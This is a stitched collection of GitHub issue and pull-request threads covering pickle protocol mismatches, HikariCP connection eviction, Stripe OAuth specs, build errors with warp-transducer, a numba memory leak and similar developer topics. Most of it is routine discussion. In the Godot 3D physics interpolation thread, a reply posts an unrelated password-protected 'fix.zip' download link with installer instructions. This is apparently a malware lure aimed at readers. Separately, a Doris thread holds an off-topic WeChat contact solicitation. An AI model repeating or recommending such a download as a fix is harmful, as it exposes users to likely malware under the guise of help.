Mismatch between python versions in PowerSimData client machine vs. server machine can cause unpickling error

We saw this when trying to read output data using PowerSimData in Python 3.7, where the server is running is running Python 3.8. During the extraction of output data on the server, pickle files were created using pickle protocol 5. Trying to read these files using Python 3.7 produces the following traceback:
c:\python37\lib\site-packages\powersimdata\scenario\analyze.py in get_pg(self)
    134         """
    135         output_data = OutputData(data_loc=self.data_loc)
--> 136         pg = output_data.get_data(self._scenario_info["id"], "PG")
    137
    138         return pg
c:\python37\lib\site-packages\powersimdata\output\output_data.py in get_data(self, scenario_id, field_name)
     48
     49         self._data_access.copy_from(file_name, from_dir)
---> 50         return pd.read_pickle(filepath)
     51
     52
c:\python37\lib\site-packages\pandas\io\pickle.py in read_pickle(filepath_or_buffer, compression)
    180                 # We want to silence any warnings about, e.g. moved modules.
    181                 warnings.simplefilter("ignore", Warning)
--> 182                 return pickle.load(f)
    183         except excs_to_catch:
    184             # e.g.
ValueError: unsupported pickle protocol: 5

This may not be something that we want to solve in PowerSimData, but maybe we want to have some details in the docs on installation instructions and debugging issues.

This concerns the client-server installation.
Right now in the installation guide, the On Laptop/Desktop and On Server subsections have each a bullet point related to python installation. Perhaps, in the On server subsection instead of:

Install Julia, Python and Gurobi

we could have:

Install Python, preferably the same version that you installed locally to avoid potential data serialization issue
Install Julia and Gurobi

we've frozen the versions so this shouldn't be an issue anymore


update api call and behave in readme

Codecov Report

Merging #139 (4bcf6b9) into main (12c0275) will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##             main     #139   +/-   ##
=======================================
  Coverage   95.94%   95.94%
=======================================
  Files           4        4
  Lines         296      296
=======================================
  Hits          284      284
  Misses         12       12

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 12c0275...4bcf6b9. Read the comment docs.


Update Managed Files

will fix this quarter's clippy traffic

new clippy traffic here: https://github.com/Chia-Network/clvm_tools_rs/pull/169

A review on the clippy pr would be useful


Sourcepath

add the ability to define a sourcepath to jdb. Works well with an eclipse hello world java project. Also update config so that it compiles with latest config recommandation

this pr fix #1

@llgcode   Code has been merged, please could you test the latest master branch and let me know if all is ok.
Thanks for your effort (updated readme.md to recognize your contribution)

Works for me on the latest master branch. Thanks @DonJayamanne for merging.

This pr fixes #22


Close/renew connection after impersonate

Environment
HikariCP version: 3.3.1
JDK version     : 1.8.0_111
Database        : Exasol (but also MSSQL)
Driver version  : x.x.x

We use for our app hikari cp to connect to the database. As the application users do have different permissions we do use the IMPERSONATE functions (example exasol: https://docs.exasol.com/sql/impersonate.htm)  of the target databases to swtich the context. Some databases allow to REVERT to the original context but some doesn't. So When a command is completed we would need to close the connection actively = not just returning to the pool but telling hikari = hey: this connetion is no good anymore: can you really close it and replace it with a new one?
Is there an option to indicate this? Could evictConnection be used for that? But does hikari open a new connection if I evict one?
Thanks for a hint.
Regards

import com.zaxxer.hikari.HikariDataSource;
import java.sql.Connection;
import java.sql.SQLException;

public class ConnectionManager {

    private HikariDataSource dataSource;

    public ConnectionManager(HikariDataSource dataSource) {
        this.dataSource = dataSource;
    }

    // Method to close and replace connection after impersonation
    public void closeAndReplaceConnection(Connection connection) {
        try {
            // Close the connection
            connection.close();
        } catch (SQLException e) {
            // Handle exception if needed
            e.printStackTrace();
        } finally {
            // Evict the connection from the pool
            dataSource.evictConnection(connection);
            try {
                // Get a new connection from the pool to replace the evicted one
                Connection newConnection = dataSource.getConnection();
                // Optionally, you can return the new connection or perform any necessary operations
            } catch (SQLException e) {
                // Handle exception if getting a new connection fails
                e.printStackTrace();
            }
        }
    }
}


Add support for Stripe connect express endpoints

This commit adds support for the Stripe Connect Express Oauth
connection flow as described in
https://stripe.com/docs/connect/express-accounts

LGTM.

I'm havent actually dug into the repos specs for this yet, but, i think i'm using improperly, how do i get a pass on the code?  Only can get a  "Authorization code does not exist:" response
require 'rails_helper'

RSpec.describe Oauth::StripeController, type: :controller do
  let(:user) { create(:user) }

  describe "#connect" do
    it "creates completes express onboarding and assigns the account id" do
      get :connect, params: { state: user.id, code: FFaker::Guid.guid }
    end
  end
end

oh it looks like I actually have to do the round trip, didn't realize you implemented GET "/express/oauth/authorize" as well

@rromanchuk yeah, I set it up to require the round trip, since that is the flow I needed in the application I was working on. If you have any problems along the way, please do open an issue (or a pull request if you are up for it). Thanks!


flutter_form_builder 5.0.0-alpha.1 depends on flutter_typeahead ^2.0.0

Hello
I hope it's not too annoying getting all the dependency update requests:
Please update package to use flutter_typeahead 3.0.0-nullsafety.0
It currently uses flutter_typeahead ^2.0.0
Thank you!

Solved with new versions https://pub.dev/packages/form_builder_extra_fields/score


Permission denied

Hi,
I am trying to get this running but I get permission denied right away when the container tries to start.
F1204 02:17:16.218653       1 main.go:204] open /etc/resolv.conf: permission denied"

Did Cloud run change something so this tool doesn't work anymore?

I'd suspect it's more likely if something about your image or which user you run your process as has changed. I recommend trying to debug yourself in a more minimal repro that doesn't involve runsd.

I'm just starting to use runsd and am experiencing the same problem.
Locally running the image works fine, but in Cloud Run it crashes with this error
terminated: Application failed to start: Failed to create init process: failed to load /bin/runsd: permission denied

actually my issue was running runsd as non-root and without CLOUD_RUN_PROJECT_HASH
is there a way to run runsd as a non-root user - avoiding the need for -user=foo

@markus-wa no (and please do not derail the conversation).


should the eventhandler be called when it's registred?

this is my workaround because i dont want the storage function to be called
const o = require('observable');
const persist = o();
let lastnews = storage.getItemSync("lastnews")
persist( lastnews ); //set the observable to the loaded value
let firstrun = true;
persist( (value) =>{
if(!firstrun){
storage.setItemSync("lastnews",value);
log.info("settings saved",value);
}
firstrun=false;
}); //=> this would call storage.setItemSync("lastnews",value) with the previously set value which is undesirable

calling immediatly is necessary to make observables compose - you can pass an observable to another observable, etc.
I think the simple solution, for this case, is to check whether the new value is different from the current value before calling setTimeSync


Custom mouse doesn't appear in-game.

Already tried doing things like uninstalling bloxstrap and even roblox. even though on the desktop app seems normal it doesn't appear custom mouses in-game.
Like MM2 (Murder Mystery 2) when equipping the knife/gun as murder/sheriff
Even though i still didn't have tested it without bloxtrap i suspect that is a bug/issue. (gotta test without bloxstrap later and see if anything happens.)

Like MM2 (Murder Mystery 2) when equipping the knife/gun as murder/sheriff

Don't those use custom crosshairs? You can't override those. You can only override the mouse pointer that Roblox usually shows.


Merge some of the 3.1.0 features into the 4.0-dev branch

This pull request incorporates the following 3.1.0 features:

Moved files into locations matching 3.1.0
Added additional search functions to find nodes (renamed to is_xr_class and find_xr_xxx)
Added sprinting movement provider
Merged demo scene changes (instruction billboards as objects)
Added sprinting demo scene

This pull request does not address hand poses.

as soon as this gets in, i can get the hands updated as well...
then @Malcolmnixon can complete it with handpose stuff


3D Physics Interpolation Support

Project Type
3D
Feature Description
Similar to #294, this is meant to provide the same support and user experience results as the 2D variant.
While this change is only for Godot 4.4, the addon should remain compatible with Godot 4.2.
Use Cases
Is for every user who wants to use a node that inherits from a PhysicsBody3D class as a follow or look at target, so is universally applicable.
(Optional) Proposed Solution
No response

Download
https://www.mediafire.com/file/5t7dozm7sptcuqj/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Resolved in #412


Keep only one copy of the epanet.def file

The same DEF file is located both in win build and the include folders. They are just the same. I suggest to keep only the one in the include folder and link to it from the old win build script.
Thoughts? @eldemet @Mariosmsk @LRossman

Yes @eladsal  you are right, we don't need it in 2 locations!
d

I agree.


listen: Better handle errors thrown from formatDeltaMessage

This is a workaround for the issue that caused the console to get
infinitely spammed with the same error over and over again.

@ivkos  thanks.  It would be good if we returned a more complex object to identify the issue (parseerror), include the original message we were trying to parse, and the original exception rather than just the exception.  That would allow for better control by implementers to handle error types.

@mitchcapper something like this?
return globalCallback({
    error: "Problem parsing attachment type. Please open an issue at https://github.com/Schmavery/facebook-chat-api/issues.",
    ex: err,
    data: v});

To match the structure of other error calls I would rename the fields as:
ex->detail,
data->res
I would also suggest we add another field error_type = "ATTACHMENT_PARSE_ERROR" or similar.  This does not follow other errors but would make it easier for developers looking for this error (rather than matching the long string).

Sorry, did not realize who posted the last comment, use his structure rather than my suggestion.

Always glad to consider more opinions, let's go with @mitchcapper's solution.
return globalCallback({
    error: "Problem parsing attachment type. Please open an issue at https://github.com/Schmavery/facebook-chat-api/issues.",
    detail: err,
    res: v
    type: "ATTACHMENT_PARSE_ERROR"});


fix: rescan all addresses pull-to-refresh with on main screen

Description
Run refreshWallet({ scanAllAddresses: true }); when user does pull-to-refresh on main screen
Linked Issues/Tasks
Type of change
Bug fix
Tests
No test

I would not advise setting scanAllAddresses to true on pull-to-refresh. This is what "Rescan Addresses" is for in settings.
When set to false as it currently is, Bitkit will scan the currently set address gap limit for all previously used address types. This is sufficient for pull-to-refresh and cannot be as easily or unknowingly abused by the user from constant pull-to-refreshes. If we were to set this to true it could potentially scan hundreds of addresses per refresh initiated by the user and eventually lead to them getting rate-limited by the server even though we increased the server limits recently.

How about we only do this once an hour?

We need to be cognizant of users that aren't using our Electrum server where this will timeout/return an error on them. If we want to perform this in Bitkit we should place it behind a condition that reads something like this: If the Electrum server is Synonym's, perform a full rescan. Otherwise, refresh like normal.
Ultimately, forcing a full rescan for a well used wallet containing hundreds/thousands of addresses is not a scalable solution for a mobile hot wallet. It's overkill and will hinder the performance of the app as they use it more. Making refresh and load times increase dramatically with usage. If we wanted to implement something scalable here we could bump the gap limit to something like 50, perform the rescan, and then drop it back to what it was set at previously. At least this way we know there is a hard testable limit. And if the user genuinely needs to rescan every address they still have that option in Settings. Even still, we should only do this for wallets connected to our Electrum servers and not assume that their custom server can handle the load.

Bumped beignet to 0.0.42 adding lookBehindChange and lookAheadChange gap limit options.


[Improve] add alarm define slience unit test

This pr relationship is confusing and I will reopen a pr. pls see #2454


Debug filter activation.

Please update the documentation about the debug filter (maybe even extend the s2-quickstart to add it as an option) , since what's described there: http://grails-plugins.github.io/grails-spring-security-core/v3/index.html#debug-filter doesn't seems to work for Grails 3 anymore ( Logback instead of Log4j, application.yml instead of Config.groovy, etc.
Thank you.

hello @aadrian
I have updated the docs replacing Config.groovy references with application.yml and Log4J with logback. See:
https://github.com/grails-plugins/grails-spring-security-core/commit/55b657caaa6efe766a08574582ab41bf7fc32791

I've added a debugging section to the docs too.
See:
https://github.com/grails-plugins/grails-spring-security-core/commit/1641f9f91212ccb94642efaaf6abf9fbd6e6be0d

@sdelamo It looks good! Thank you.


Weird color in C-c p b and C-c p h

This looks terrible:

This is the color used by default for files modified outside of Emacs. It's a great idea to differentiate these, but who picked the colors??

Resolved in 627e80dd8ad00c32ab074377a70b0f3a32730f56.


Bigquery destination tables partitionning

Hi guys! Love what you created here :clap: :fire:
Regarding the configuration of destination tables, is there already a way to partition and/or cluster destination tables ?
I think it would be great to be able to specify :

the column to pick for partitioning (maybe only TIMESTAMP columns as a first step), which may be a metadata column by default
for a TIMESTAMP column, the frequency to use for partitioning

Happy to contribute :)

There is not currently!
Clustering
I think we should use table-key-properties to cluster ideally.
Partitioning
Partitioning can be done on the replication-key if it exists falling back to ingestion time based partitioning.
We should have options for enabling/disabling this feature but I don't think the target should be responsible for the mapping. Also fixed schema sinks are both partitioned and clustered by default already.
Would be happy to take a PR @VinceLegendre!
Let me know if you need any direction for this. I think it would be a valuable add to better utilize data available in the SCHEMA message.

Resolved via latest commit which includes cluster_on_key_properties boolean to indicate if we should cluster on key_properties otherwise clusters on _sdc_batched_at. Partitioning granularity is now customizable too via partition_granularity. Certain higher volume sources may warrant "day" partitioning while low/mid volume sources are likely fine with "month" (default). Partitioning requires a certain amount of data per partition to be effective so we opt for a sane default here requesting the user configure higher granularity if needed on a per invocation/tap basis.
We also released on pypi https://pypi.org/project/z3-target-bigquery/

Hi @z3z1ma , sorry for the delay in my answer, wasn't much available in the past weeks.
Some thoughts:

I understand from L169 and L309 that the target table is created with a combination of clustering and partition

+1 on this, I find it great to partition on a meaningful time column and then cluster on key properties
quick question : are there downsides to use both clustering and partitioning on the same column by default? I only found this for now : "However, partitioning requires BigQuery to maintain more metadata than with an unpartitioned table. As the number of partitions increases, the amount of metadata to maintain increases"

Would you agree that defining a custom column for time-based partitioning could be useful? Do you include this feature when saying "we do cluster and partition but ideally we should use key_properties" ?

I think that partitioning on _sdc_batched_at is a good data engineering practice (that suits us TBH), but may complexify data pipelines, for example when a reliable column such as date_updated exists in a SQL source.


Multiple Radarr/Sonarr Instances

It's now recommended to run two Radarr/Sonarr instances. One for Anime Movies/Shows and one for Normal Movies/Shows, or you can make use of Quality Profiles and score different Custom Formats (CFs) as required.
https://trash-guides.info/Radarr/radarr-setup-quality-profiles-anime/
https://trash-guides.info/Sonarr/sonarr-setup-quality-profiles-anime/
Requestrr currently only supports one default server (and therefore one quality profile) each.
It would be very helpful if it supported

Movies
Animes
TV Shows
Anime Shows

and

/request tv-show
/request anime-show
/request movie
/request anime-movie

Hey @xmaxcooking,
Requestrr does support profiles, you can multiple request types, so movies can be one and anime-movie can be another each pointing to different profiles.  You can create as many of these aa you like for movies or tv shows.
But you have a point with the other things, I would like to support multiple servers, but this will be a little while before I can being work.
Will look into this and see if I can improve this area in the future.

Oh, I'm very sorry.
Overseerr Category Settings didn't ring any bells for me. I expected that to be for tags only.
It's actually called "Destinations" in overseerr.

Can confirm that this works as needed.


error in make

Hello, according to your prompt, when executing the make command, the following error occurs, how can I solve this problem, thank you.
/home/gaoliqing/lhb/warp-transducer-master/src/rnnt_entrypoint.cu(1): error: this declaration has no storage class or type specifier
/home/gaoliqing/lhb/warp-transducer-master/src/rnnt_entrypoint.cu(1): error: expected a ";"
2 errors detected in the compilation of "/tmp/tmpxft_000014f2_00000000-13_rnnt_entrypoint.compute_70.cpp1.ii".
CMake Error at warprnnt_generated_rnnt_entrypoint.cu.o.cmake:266 (message):
Error generating file
/home/gaoliqing/lhb/warp-transducer-master/build/CMakeFiles/warprnnt.dir/src/./warprnnt_generated_rnnt_entrypoint.cu.o
CMakeFiles/warprnnt.dir/build.make:192: recipe for target 'CMakeFiles/warprnnt.dir/src/warprnnt_generated_rnnt_entrypoint.cu.o' failed
make[2]: *** [CMakeFiles/warprnnt.dir/src/warprnnt_generated_rnnt_entrypoint.cu.o] Error 1
CMakeFiles/Makefile2:141: recipe for target 'CMakeFiles/warprnnt.dir/all' failed
make[1]: *** [CMakeFiles/warprnnt.dir/all] Error 2
Makefile:127: recipe for target 'all' failed
make: *** [all] Error 2

Could you provide more information like cmake, cuda, gcc version ?
I used cmake 3.12.2, cuda 9.0, gcc 5.4.

This worked!
sudo apt install g++-4.8 gcc-4.8

sudo update-alternatives --install /usr/bin/gcc gcc "/usr/bin/gcc-4.8" 10
sudo update-alternatives --install /usr/bin/g++ g++ "/usr/bin/g++-4.8" 10

sudo update-alternatives --install /usr/bin/cc cc /usr/bin/gcc 30
sudo update-alternatives --set cc /usr/bin/gcc

sudo update-alternatives --install /usr/bin/c++ c++ /usr/bin/g++ 30
sudo update-alternatives --set c++ /usr/bin/g++

sudo update-alternatives --config gcc
sudo update-alternatives --config g++

results:
-- cuda found TRUE -- Building shared library with GPU support -- Configuring done -- Generating done -- Build files have been written to: /home/u/2019/000_Multilingual_ASR/M01_Rnn-transducer/warp-transducer/build [ 14%] Built target warprnnt [ 35%] Built target test_time_gpu [ 42%] Building NVCC (Device) object CMakeFiles/test_gpu.dir/tests/test_gpu_generated_test_gpu.cu.o Scanning dependencies of target test_gpu [ 50%] Building CXX object CMakeFiles/test_gpu.dir/tests/random.cpp.o [ 57%] Linking CXX executable test_gpu [ 57%] Built target test_gpu Scanning dependencies of target test_cpu [ 64%] Building CXX object CMakeFiles/test_cpu.dir/tests/test_cpu.cpp.o [ 71%] Building CXX object CMakeFiles/test_cpu.dir/tests/random.cpp.o [ 78%] Linking CXX executable test_cpu [ 78%] Built target test_cpu Scanning dependencies of target test_time [ 85%] Building CXX object CMakeFiles/test_time.dir/tests/test_time.cpp.o [ 92%] Building CXX object CMakeFiles/test_time.dir/tests/random.cpp.o [100%] Linking CXX executable test_time [100%] Built target test_time
FB/anh211

This worked!
sudo apt install g++-4.8 gcc-4.8

sudo update-alternatives --install /usr/bin/gcc gcc "/usr/bin/gcc-4.8" 10
sudo update-alternatives --install /usr/bin/g++ g++ "/usr/bin/g++-4.8" 10

sudo update-alternatives --install /usr/bin/cc cc /usr/bin/gcc 30
sudo update-alternatives --set cc /usr/bin/gcc

sudo update-alternatives --install /usr/bin/c++ c++ /usr/bin/g++ 30
sudo update-alternatives --set c++ /usr/bin/g++

sudo update-alternatives --config gcc
sudo update-alternatives --config g++

results:
-- cuda found TRUE
-- Building shared library with GPU support
-- Configuring done
-- Generating done
-- Build files have been written to: /home/u/2019/000_Multilingual_ASR/M01_Rnn-transducer/warp-transducer/build
[ 14%] Built target warprnnt
[ 35%] Built target test_time_gpu
[ 42%] Building NVCC (Device) object CMakeFiles/test_gpu.dir/tests/test_gpu_generated_test_gpu.cu.o
Scanning dependencies of target test_gpu
[ 50%] Building CXX object CMakeFiles/test_gpu.dir/tests/random.cpp.o
[ 57%] Linking CXX executable test_gpu
[ 57%] Built target test_gpu
Scanning dependencies of target test_cpu
[ 64%] Building CXX object CMakeFiles/test_cpu.dir/tests/test_cpu.cpp.o
[ 71%] Building CXX object CMakeFiles/test_cpu.dir/tests/random.cpp.o
[ 78%] Linking CXX executable test_cpu
[ 78%] Built target test_cpu
Scanning dependencies of target test_time
[ 85%] Building CXX object CMakeFiles/test_time.dir/tests/test_time.cpp.o
[ 92%] Building CXX object CMakeFiles/test_time.dir/tests/random.cpp.o
[100%] Linking CXX executable test_time
[100%] Built target test_time```

FB/anh211

Hi, my gcc version is 4.9.3 and cuda version is 9.0, have the same question when execute make command. The version of gcc must be 4.8? But I have no permission on server, is there any other solution? Thank U.

Hi, @HawkAaron @jackson1895 @tuananhvip ,
I have tried to use both 4.9.3 version and 5.3.1 version of GCC/G++ to finish the cmake step. It seems ok except the step of Performing Test CMAKE_HAVE_LIBC_PTHREAD.
==>4.9.3 version gcc/g++ cmake results:
-- The C compiler identification is GNU 4.9.3
-- The CXX compiler identification is GNU 4.9.3
-- Check for working C compiler: /usr/bin/cc
-- Check for working C compiler: /usr/bin/cc -- works
-- Detecting C compiler ABI info
-- Detecting C compiler ABI info - done
-- Detecting C compile features
-- Detecting C compile features - done
-- Check for working CXX compiler: /usr/bin/c++
-- Check for working CXX compiler: /usr/bin/c++ -- works
-- Detecting CXX compiler ABI info
-- Detecting CXX compiler ABI info - done
-- Detecting CXX compile features
-- Detecting CXX compile features - done
-- Looking for pthread.h
-- Looking for pthread.h - found
-- Performing Test CMAKE_HAVE_LIBC_PTHREAD
-- Performing Test CMAKE_HAVE_LIBC_PTHREAD - Failed
-- Looking for pthread_create in pthreads
-- Looking for pthread_create in pthreads - not found
-- Looking for pthread_create in pthread
-- Looking for pthread_create in pthread - found
-- Found Threads: TRUE
-- Found CUDA: /usr/local/cuda-9.0 (found version "9.0")
-- cuda found TRUE
-- Building shared library with GPU support
-- Configuring done
-- Generating done
-- Build files have been written to: /media/huaxin/tcl1/asr/yujiangling/warp-transducer-master/build
==>5.3.1 version gcc/g++ cmake results:
-- The C compiler identification is GNU 5.3.1
-- The CXX compiler identification is GNU 5.3.1
-- Check for working C compiler: /usr/bin/gcc-5
-- Check for working C compiler: /usr/bin/gcc-5 -- works
-- Detecting C compiler ABI info
-- Detecting C compiler ABI info - done
-- Detecting C compile features
-- Detecting C compile features - done
-- Check for working CXX compiler: /usr/bin/g++-5
-- Check for working CXX compiler: /usr/bin/g++-5 -- works
-- Detecting CXX compiler ABI info
-- Detecting CXX compiler ABI info - done
-- Detecting CXX compile features
-- Detecting CXX compile features - done
-- Looking for pthread.h
-- Looking for pthread.h - found
-- Performing Test CMAKE_HAVE_LIBC_PTHREAD
-- Performing Test CMAKE_HAVE_LIBC_PTHREAD - Failed
-- Looking for pthread_create in pthreads
-- Looking for pthread_create in pthreads - not found
-- Looking for pthread_create in pthread
-- Looking for pthread_create in pthread - found
-- Found Threads: TRUE
-- Found CUDA: /usr/local/cuda (found version "9.0")
-- cuda found TRUE
-- Building shared library with GPU support
-- Configuring done
-- Generating done
-- Build files have been written to: /media/huaxin/tcl1/asr/yujiangling/warp-transducer-master/build
(yujiangling) asr@huaxin:/media/huaxin/tcl1/asr/yujiangling/warp-transducer-master/build$ make
But if I continue the next step make, the below error will occure and I tried many approachs but all failed.
/media/huaxin/tcl1/asr/yujiangling/warp-transducer-master/src/rnnt_entrypoint.cu(1): error: this declaration has no storage class or type specifier
/media/huaxin/tcl1/asr/yujiangling/warp-transducer-master/src/rnnt_entrypoint.cu(1): error: expected a ";"
2 errors detected in the compilation of "/tmp/tmpxft_00008d37_00000000-13_rnnt_entrypoint.compute_70.cpp1.ii".
CMake Error at warprnnt_generated_rnnt_entrypoint.cu.o.cmake:279 (message):
Error generating file
/media/huaxin/tcl1/asr/yujiangling/warp-transducer-master/build/CMakeFiles/warprnnt.dir/src/./warprnnt_generated_rnnt_entrypoint.cu.o
CMakeFiles/warprnnt.dir/build.make:63: recipe for target 'CMakeFiles/warprnnt.dir/src/warprnnt_generated_rnnt_entrypoint.cu.o' failed
make[2]: *** [CMakeFiles/warprnnt.dir/src/warprnnt_generated_rnnt_entrypoint.cu.o] Error 1
CMakeFiles/Makefile2:110: recipe for target 'CMakeFiles/warprnnt.dir/all' failed
make[1]: *** [CMakeFiles/warprnnt.dir/all] Error 2
Makefile:129: recipe for target 'all' failed
make: *** [all] Error 2
Is it caused by the version of GCC/G++? Because I have no permission on the sever, so I cannot install other version of GCC/G++. I need your help. Thank you!


[Bug] http_max_header_size configuration invalid

Search before asking

[X] I had searched in the issues and found no similar issues.

Version
0.15.0-rc01
What's Wrong?
Restart fe after configuring 'http_max_header_size=81920' in fe.conf, and find that the configuration does not take effect. If you add 'enable_http_server_v2=false' to turn off the httpv2 configuration, 'http_max_header_size=81920' will take effect.
What You Expected?
When httpv2 is enabled, you can also modify the request header size by configuring http_max_header_size.
How to Reproduce?
After configuring http_max_header_size=81920, if you initiate a request with a request header size of 8193, you will get "Request Header Fields Too Large 8193 > 8192"
Anything Else?
No response
Are you willing to submit PR?

[ ] Yes I am willing to submit a PR!

Code of Conduct

[X] I agree to follow this project's Code of Conduct

http_server_v2 use jetty, you can use jetty_server_max_http_post_size to effect it.

http_server_v2 use jetty, you can use jetty_server_max_http_post_size to effect it.
Configured, but to no avail. The error is still "Request Header Fields Too Large 8193 > 8192"

The size of the uploaded file is controlled by the jetty_server_max_http_post_size parameter. If you are stream load, it is not controlled by this parameter. The stream load is a 307 temporary redirect, which is directly transferred to be.

http_server_v2 use jetty, you can use jetty_server_max_http_post_size to effect it.
Configured, but to no avail. The error is still "Request Header Fields Too Large 8193 > 8192"

Rejected by fe because the request header is too large. I turned off http2 before, and configured the http_max_header_size parameter in fe and it took effect. So when http2 is enabled, which parameter can modify the request header size of the fe service configuration?
@hf200012

The size of the uploaded file is controlled by the jetty_server_max_http_post_size parameter. If you are stream load, it is not controlled by this parameter.

Rejected by fe because the request header is too large. I turned off http2 before, and configured the http_max_header_size parameter in fe and it took effect. So when http2 is enabled, which parameter can modify the request header size of the fe service configuration? @hf200012

The size of the uploaded file is controlled by the jetty_server_max_http_post_size parameter. If you are stream load, it is not controlled by this parameter.
@NoFearInMyHeart-G
What are you doing? Add me on WeChat: 35926237


📝 Docs: Overhaul website generation

Documentation Request Checklist

[X] I have read and agree to Mocha's Code of Conduct and Contributing Guidelines
[X] I have searched for related issues and issues with the faq label, but none matched my issue.
[X] I want to provide a PR to resolve this

Overview
Back in #5027, we stated:

We don't intend to overhaul any currently-useful resources such as https://mochajs.org/ or https://github.com/mochajs/mocha/wiki. Though, we will happily accept issue reports if those resources need improvement.

We still don't want to overhaul the contents of the Mocha website. However, the tooling behind the website is ... not great to work with. It's built with the very old https://github.com/mochajs/mocha-docdash which comes with a ton of old dependencies that are hard to update (#5071).
We'd like to redo the website's tooling to be something more modern. I'm personally partial to Astro Starlight. I've had great experiences with Docusaurus too.
Additional Info
This is roughly blocking #5055. If we enable Renovate, we'll get a bunch of update PRs for the same packages touched by #5071. Irksome.

FYI, I'm going to be live streaming making a new Mocha website tomorrow (Thursday) at 10am EST. 👻
https://www.twitch.tv/joshuakgoldberg/schedule?segmentID=4090b3ff-45c0-46ad-b1a3-4f200204251b


Remove spurious truthiness checks on serverSecrets

serverSecrets is always truthy.
Close #2606

Warnings

:warning:
This PR modified service code for bintray but not its test code. That's okay so long as it's refactoring existing code.

:warning:
This PR modified service code for sonarqube but not its test code. That's okay so long as it's refactoring existing code.

:warning:

:books: Remember to ensure any changes to serverSecrets in services/jenkins/jenkins-coverage.service.js are reflected in the server secrets documentation

:warning:

:books: Remember to ensure any changes to serverSecrets in services/jira/jira-base.js are reflected in the server secrets documentation

:warning:
This PR modified service code for sensiolabs but not its test code. That's okay so long as it's refactoring existing code.

:warning:

:books: Remember to ensure any changes to serverSecrets in services/sonarqube/sonarqube.service.js are reflected in the server secrets documentation

:warning:

:books: Remember to ensure any changes to serverSecrets in services/jenkins/jenkins-tests.service.js are reflected in the server secrets documentation

:warning:

:books: Remember to ensure any changes to serverSecrets in services/sensiolabs/sensiolabs.service.js are reflected in the server secrets documentation

:warning:

:books: Remember to ensure any changes to serverSecrets in services/azure-devops/azure-devops-helpers.js are reflected in the server secrets documentation

:warning:

:books: Remember to ensure any changes to serverSecrets in services/bintray/bintray.service.js are reflected in the server secrets documentation

:warning:
This PR modified service code for nexus but not its test code. That's okay so long as it's refactoring existing code.

:warning:

:books: Remember to ensure any changes to serverSecrets in services/teamcity/teamcity-base.js are reflected in the server secrets documentation

:warning:
This PR modified service code for jenkins but not its test code. That's okay so long as it's refactoring existing code.

:warning:

:books: Remember to ensure any changes to serverSecrets in services/nexus/nexus.service.js are reflected in the server secrets documentation

:warning:

:books: Remember to ensure any changes to serverSecrets in services/jenkins/jenkins-build.service.js are reflected in the server secrets documentation

Messages

:book:
:sparkles: Thanks for your contribution to Shields, @paulmelnikow!

  Generated by :no_entry_sign: dangerJS against 0a5a9dd5613badbaa450e0765c6144f411e1e60b


" should be ' when adding new route

Issue Overview
Adding new route
Issue Description
" should be '
Reproducables
add below router
import { Routes } from '@angular/router';
import { MyLink1Component } from './mylink1.component';
export const MyLink1Routes: Routes = [
{ path: 'mylink1', component: MyLink1Component }
];
Error
(quotemark) app/mylink1/mylink1.module.ts[3, 34]: " should be '
stream.js:74
throw er; // Unhandled stream error in pipe.
^
Error: Failed to lint: app/mylink1/mylink1.module.ts [3, 34]: " should be '.
npm ERR! Darwin 15.3.0
npm ERR! argv "/usr/local/bin/node" "/usr/local/bin/npm" "start"
npm ERR! node v4.6.0
npm ERR! npm  v2.15.9
npm ERR! code ELIFECYCLE
npm ERR<EMAIL_ADDRESS>start: gulp serve-dev
npm ERR! Exit status 1
npm ERR!
npm ERR! Failed at the<EMAIL_ADDRESS>start script 'gulp serve-dev'.
npm ERR! This is most likely a problem with the angular2-starter package,
npm ERR! not with npm itself.
npm ERR! Tell the author that this fails on your system:
npm ERR!     gulp serve-dev
npm ERR! You can get information on how to open an issue for this project with:
npm ERR!     npm bugs angular2-starter
npm ERR! Or if that isn't available, you can get their info via:
npm ERR!
npm ERR!     npm owner ls angular2-starter
npm ERR! There is likely additional logging output above.

looks like you used " double quotes where tslint wanted ' single quote

I don't see " in my route file

the warning is in your module file
(quotemark) app/mylink1/mylink1.module.ts[3, 34]: " should be '

Thanks.


Jitclasses and Structrefs Memory Leak Object-Like fields

[x] Using version 0.52.0 (have not tried on any bleeding edge version)
[x] Has reproducing demo

jitclasses and structrefs that have object-like fields like ndarrays, and Lists seem to cause a memory leak. Oddly namedtuples don't seem to have this problem.  So there is probably just some small bug in their deconstruct. probably related to this: https://github.com/numba/numba/issues/3451.
from numba.experimental.jitclass import jitclass
from numba import njit
from numba import void,b1,u1,u2,u4,u8,i1,i2,i4,i8,f4,f8,c8,c16
from numba.typed import List, Dict
from numba.types import ListType, unicode_type
from numba.core.runtime import rtsys
import numpy as np

def print_total_leak():
    stats = rtsys.get_allocation_stats()
    print(stats, f"total: {stats[0]-stats[1]}",)

test_fields = [
    ('X', f8[:,:]), # <- Leak
    ('Y', f8[:]), # <- Leak
    ('Z', f8[:]), # <- Leak
    ('q', f8), # <- No Leak
    ('L', ListType(i8)), # <- Leak
    ('S', unicode_type) # <- No Leak
]

@jitclass(test_fields)
class TestStruct(object):
    def __init__(self, X, Y, Z, q, L, S):
        self.X = X
        self.Y = Y
        self.Z = Z
        self.q = q
        self.L = L
        self.S = S

@njit(cache=True)
def test_mem_leak():
    for i in range(1000):
        TestStruct(np.zeros((2,2)), np.zeros((2,)), np.zeros((2,)), 7,List.empty_list(i8),'a')
    return 0

for i in range(5):
    test_mem_leak()
    print_total_leak()

nrt_mstats(alloc=5001, free=1001, mi_alloc=5001, mi_free=1001) total: 4000
nrt_mstats(alloc=10002, free=2002, mi_alloc=10002, mi_free=2002) total: 8000
nrt_mstats(alloc=15003, free=3003, mi_alloc=15003, mi_free=3003) total: 12000
nrt_mstats(alloc=20004, free=4004, mi_alloc=20004, mi_free=4004) total: 16000
nrt_mstats(alloc=25005, free=5005, mi_alloc=25005, mi_free=5005) total: 20000

Running again on a fresh install fixed it. Who knows :man_shrugging:. Sorry for the spam. Closing.

Running again on a fresh install fixed it. Who knows man_shrugging. Sorry for the spam. Closing.

Thanks for reporting it resolved!


feat: inspector

This PR introduced a new package @unocss/inspector which will be shipped with @unocss/vite. It enables the ability to inspect the detection status similar to https://github.com/windicss/windicss-analysis and https://github.com/antfu/vite-plugin-inspect. Aim to solve #71 and others.
In userland, it will be accessible via http://localhost:3000/__unocss/inspect in apps that have UnoCSS installed.

To preview it locally, you can:
